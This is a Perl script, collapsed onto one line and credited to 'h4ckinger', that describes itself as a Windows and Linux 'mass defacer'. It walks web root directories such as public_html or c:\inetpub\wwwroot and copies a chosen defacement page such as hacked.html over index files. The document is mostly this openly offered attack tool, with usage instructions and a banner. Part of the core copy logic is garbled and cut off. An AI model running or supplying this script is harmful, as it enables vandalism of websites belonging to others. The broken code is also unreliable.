#!/usr/bin/perl #My comments >> #(C)oded by h4ckinger #Web: www.hackinger.org #Windows && Linux mass defacer script (c) h4ckinger #usage: hmass.pl -i -d -p #example: hmass.pl -p public_html -i hacked.html -d c:\inetpub\wwwroot\ # [-p Optional ] #mail: hackingerboy@gmail.com #Special thanks: Darkc0de,CyberGhost,excellance,redLine #plz send email when u discoverz a buggy #end my comments<< #my used functions use Getopt::Std; use FileHandle; use File::Copy "cp"; #<new("$file1","r"); cp($n,"$file2"); } #list dir function sub dizinbul { my ($dir) = @_; opendir(DIR, $dir) || return(); my @files = readdir(DIR); closedir(DIR); @files = grep { -d "$dir/$_" } @files; #alt dizinler my @files = grep { $_ !~ /^(\.){1,2}$/ } @files;# Bir alt dizin ve içinde bulunulan dizini ayıkla return(@files); } sub checkfile{$file=shift; if(!-e $file){print "\n\"$file\" file doesn't exists,check your index file\n";exit;} } sub checkdir{$dir=shift; if(!-d $dir){print "\n\"$dir\" path doesn't exists,check your deface path\n";exit;} } #How i use this script ? sub usage{ if($unix){ system("clear"); } else{system("cls");} print q [ ========================================================================= h4ckinger Mass ExpLoit3r (C)oded by h4ckinger www.hackinger.org usage: hmass.pl -i -d -p example: hmass.pl -p public_html -i hacked.html -d c:\inetpub\wwwroot\ -p Optional ========================================================================= ]; exit; }